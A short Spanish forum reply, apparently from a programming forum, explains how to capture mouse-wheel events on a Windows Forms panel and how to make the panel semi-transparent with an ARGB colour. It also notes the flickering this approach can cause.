Puedes capturar la rueda del botón en el evento "Panel1.MouseWheel" de la forma que ya has visto en uno de mis codes,
Y si quieres hacer medio transparente el panel es suficiente con que uses un color ARGB, donde la A es el canal Alpha (transparencia), el valor máximo es 255, si lo pones a 125 pues el panel se verá al 50% de transparencia.
VIDEO Es una versión barata, te puede dar algunos problemas de Flickering (parpadeos) como se puede apreciar en el vídeo, me gustaría saber evitar los problemas de flickering, pero esto es WindowsForms y creeme que he preguntado a 1.000 expertos y nadie tiene la respuesta xD, es lo que hay.
PD: ¿Esperabas un code?
Saludos